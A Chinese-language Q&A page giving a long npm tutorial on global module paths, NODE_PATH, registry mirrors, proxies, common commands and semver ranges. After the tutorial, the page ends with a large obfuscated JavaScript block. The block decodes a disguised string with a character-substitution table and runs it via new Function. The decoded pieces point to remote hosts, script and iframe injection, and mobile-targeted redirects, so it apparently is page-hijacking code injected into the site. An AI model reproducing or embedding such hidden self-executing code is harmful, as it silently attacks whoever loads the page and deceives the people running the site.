nodejs npm 怎么共享node

2025-02-26 15:13:42
推荐回答(1个)
回答1:

  1、安装node-v5.1.0.msi ,选择自定义目录
  2、验证安装是否成功,查看版本
  node -v
  npm -v
  cmd 下node进入开发模式
  3、npm作为一个NodeJS的模块管理,配置npm的全局模块的存放路径以及cache的路径
  (1)在NodeJs下建立”node_global”及”node_cache”两个文件夹
  (2)npm config set prefix "e:\nodejs\node_global"
  npm config set cache "e:\nodejs\node_cache"
  (3)npm root -g 查看全局的包的安装路径
  npm cache ls 查看cache的路径
  4、设置npm的代理
  npm config set proxy="http //10.1.2.3:31151"
  npm config ls -l 查询所有配置项
  查看proxy: npm config get proxy 如下简写:npm get proxy
  删除proxy:npm delete proxy
  查看所有配置:npm config list
  5、设置npm的镜像站点, 方法有三
  (1)npm install 时临时指定镜像源:
  $ npm install --registry http //registry.cnpmjs.org express #从中国镜像安装express
  (2)永久设置:
  $ npm config set registry http //registry.cnpmjs.org #设置为中国镜像
  (3)安装nrm, 自由切换npm源
  $ npm install --registry http //registry.cnpmjs.org -g nrm
  $ nrm -h
  $ nrm ls
  $ nrm use eu
  6、进入环境变量对话框,在系统变量下新建”NODE_PATH“,输入"e:\nodejs\node_global\node_modules"
  用户变量"PATH"修改为"e:\nodejs\node_global"
  NODE_PATH="/usr/lib/node_modules;/usr/local/lib/node_modules" #指定 NODE_PATH 变量
  那NODE_PATH就是NODE中用来寻找模块所提供的路径注册环境变量。我们可以使用上面的方法指定NODE_PATH环境变量。并且用;分割多个不同的目录。NODE_PATH中的路径被遍历是发生在从项目的根位置递归搜寻node_modules录,直到文件系统根目录的 node_modules,如果还没有查找到指定模块的话,就会去 NODE_PATH中注册的路径中查找。基于nodejs的包加载路径搜索算法,我们可以采用全局安装的方式,将我们的包安装到全局。
  这样,我们的项目就可以共享全局中的依赖包。
  npm常用命令 https://docs.npmjs.com/
  npm是一个node包管理和分发工具,已经成为了非官方的发布node模块(包)的标准。
  什么是包?nodejs以包的形式组织程序模块,而包的定义却十分简单——包含文件内容符合规范package.json文件的目录或归档文件。并通过@来唯一标识每个包。
  1、安装、卸载、更新包
  安装本地/全局包:
  npm install
  npm install -g
  会下载安装最新的包
  若下载安装特定版本号的包
  npm install @
  安装完毕后会产生一个node_modules目录,其目录下就是安装的各个node模块。
  node的安装分为全局模式和本地模式。
  一般情况下会以本地模式运行,包会被安装到和你的应用程序代码的本地node_modules目录下。
  在全局模式下,Node包会被安装到Node的安装目录下的node_modules下。使用$npm set global=true来设定安装模式,$npm get global可以查看当前使用的安装模式。
  示例:
  npm install express
  默认会安装express的最新版本,也可以通过在后面加版本号的方式安装指定版本,如npm install express@3.0.6
  npm install -g
  将包安装到全局环境中,代码中直接通过require()的方式是没有办法调用全局安装的包的。全局的安装是供命令行使用的
  npm install --save
  安装的同时,将信息写入package.json中项目路径中。如果有package.json文件时,直接使用npm install方法就可以根据dependencies配置安装所有的依赖包,这样代码提交到github时,就不用提交node_modules这个文件夹了。
  npm install [-g] [--save-dev]
  npm install 则会根据package.json下载所有需要的包
  npm install --production只下载dependencies节点的包
  卸载本地/全局包
  npm uninstall
  npm uninstall -g
  npm uninstall [-g] [--save-dev]
  PS:不要直接删除本地插件包
  卸载插件借助rimraf:npm install rimraf -g
  用法:rimraf node_modules
  更新本地/全局包
  npm update
  npm update -g
  npm update -g express
  因为nodejs附带了npm,因此无法全局升级npm,需要在nodejs的安装目录下局部升级npm
  cd "e:\nodejs"
  npm update npm
  使用npm更新插件:npm update [-g] [--save-dev]
  更新全部插件:npm update [--save-dev]
  2、npm list:查看当前目录下(当前项目)已安装的本地依赖包/插件
  注意事项:Node模块搜索是从代码执行的当前目录开始的,搜索结果取决于当前使用的目录中的node_modules下的内容。
  $ npm list parseable=true可以目录的形式来展现当前安装的所有node包
  npm list -g 查看全局依赖包
  3、npm help:查看帮助命令 -h
  npm help folders:查看npm使用的所有文件夹
  4、npm view :查看node模块的package.json信息
  注意事项:如果想要查看package.json下某个标签的内容,可以使用$npm view labelName
  npm view dependencies:查看包的依赖关系
  npm view repository.url:查看包的源文件地址
  npm view engines:查看包所依赖的node版本号
  5、发布一个npm包的时候,需要检验某个包名是否已存在
  npm search 搜索依赖包
  6、npm rebuild :用于更改包内容后进行重建
  7、npm outdated/npm outdated 检查包是否已经过时,此命令会列出所有已经过时的包,并进行包的更新
  8、一个npm包是包含了package.json的文件夹,package.json描述了这个文件夹的结构。
  $ npm help json
  此命令会以默认的网页方式打开帮助文档,如果更改了默认打开程序则可能不会以网页的形式打开。
  package.json
  version,必选项,表示模块的版本。
  版本的常见形式
  版本号:以 主版本号(Major).次版本号(Minor).补丁版本号(Patch) 构成,如1.2.0。版本号满足《语义化版本识别》规范的版本字符串[major.minor.patch]。
  注:《语义化版本识别》规范是国外提出的一套版本命名规范,最初目的是解决各种各样的版本号大小比较的问题,目前被许多包管理系统所采用。语义化版本2.0.0 (http //semver.org/lang/zh-CN/)
  其他:
  http://... Unix系统下使用的tarball的URL。
  git... Git地址
  user/repo GitHub URLs
  操作符号operator
  < :小于Less than
  <= :小于或等于Less than or equal to
  > :大于Greater than
  >= :大于或等于Greater than or equal to
  = :等于Equal (没有符号时默认)
  X, x, * or "":表示任意数字
  两个版本选择器间: 空格表示and关系,||表示or关系。
  ~ :约等于,非常接近,尽量不改变大版本号和次版本号
  ^ :与当前版本兼容,不改变最左开始的非0版本号
  示例:
  1.1.1:精确下载安装1.1.1版本的包
  >=1.2.7 would match the versions 1.2.7, 1.2.8, 2.5.3, and 1.3.9, but not the versions 1.2.6 or 1.1.0.
  >=1.2.7 <1.3.0 would match the versions 1.2.7, 1.2.8, and 1.2.99, but not the versions 1.2.6, 1.3.0, or 1.1.0.
  1.2.7 || >=1.2.9 <2.0.0 would match the versions 1.2.7, 1.2.9, and 1.4.6, but not the versions 1.2.8 or 2.0.0.
  1.2.3 - 2.3.4 := >=1.2.3 <=2.3.4
  1.2 - 2.3.4 := >=1.2.0 <=2.3.4
  1.2.3 - 2.3 := >=1.2.3 <2.4.0
  1.2.3 - 2 := >=1.2.3 <3.0.0
  * := ""(empty string) := >=0.0.0 (Any version satisfies)
  1 := 1.x := 1.x.x := >=1.0.0 <2.0.0 (Matching major version)
  1.2 := 1.2.x := >=1.2.0 <1.3.0 (Matching major and minor versions)
  ~1.2.3 := >=1.2.3 <1.(2+1).0 := >=1.2.3 <1.3.0
  ~1.2 := >=1.2.0 <1.(2+1).0 := >=1.2.0 <1.3.0 (Same as 1.2.x)
  ~1 := >=1.0.0 <(1+1).0.0 := >=1.0.0 <2.0.0 (Same as 1.x,1.x.x)
  ~0.2.3 := >=0.2.3 <0.(2+1).0 := >=0.2.3 <0.3.0
  ~0.2 := >=0.2.0 <0.(2+1).0 := >=0.2.0 <0.3.0 (Same as 0.2.x)
  ~0 := >=0.0.0 <(0+1).0.0 := >=0.0.0 <1.0.0 (Same as 0.x)
  ~1.2.3-beta.2 := >=1.2.3-beta.2 <1.3.0
  ^1.2.3 := >=1.2.3 <2.0.0
  ^0.2.3 := >=0.2.3 <0.3.0
  ^0.0.3 := >=0.0.3 <0.0.4
  ^1.2.3-beta.2 := >=1.2.3-beta.2 <2.0.0
  ^1.2.x := >=1.2.0 <2.0.0
  ^0.0.x := >=0.0.0 <0.1.0
  ^0.0 := >=0.0.0 <0.1.0
  ^1.x := ^1 := >=1.0.0 <2.0.0
  ^1.1 := >=1.1.0 <2.0.0
  ^0.x := >=0.0.0 <1.0.0
  9、npm init:在当前工作目录下以用户引导的方式创建一个全新的package.json文件,相当于JAVA中的MANIFEST.MF文件,用于存放模块的名称、版本、作者、机构、模块入口、依赖项等信息
  10、npm root:查看当前包的安装路径
  npm root -g:查看全局的包的安装路径
  11、npm -v:查看npm安装的版本
  12、查看部分配置信息 npm config ls
  查看所有配置信息 npm config ls -l
  13、npm config set 命令
  npm config set registry http //registry.npm.taobao.org/
  npm config set proxy http //proxy.com:8081/
  $ npm install --save react react-dom babelify babel-preset-react
  $ browserify -t [ babelify --presets [ react ] ] main.js -o bundle.js
  安装npm3
  npm install -g npm@3.5.0
  14、 npm link(ln)
  (1) creates global link
  (in package dir)
  npm link //将当前目录所定义的包链接到全局模式下
  (2) link-install the package
  (in module dir)
  npm link //如果没有安装则先在全局模式下安装该包,然后再将该包从全局链接到当前目录下
  //查看远程库中包的latest版本
  npm view webpack version
  //查看npm的全局配置
  npm config ls prefix
  //进入模块目录后以树结构查看该模块安装的全部依赖包
  npm ls > 1.txt
  //运行package.json中的scripts命令
  npm run-script/run start
  15、cnpm
  因为npm安装插件是从国外服务器下载,受网络影响大,可能出现异常。
  cnpm是一个完整npmjs.org镜像,你可以用此代替官方版本(只读),同步频率目前为10分钟一次以保证尽量与官方服务同步。官方网址:http://npm.taobao.org
  安装
  npm install cnpm -g --registry=https://registry.npm.taobao.org
  注:安装完后查看其版本号cnpm -v,cnpm跟npm用法完全一致,只是在执行命令时将npm改为cnpm。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();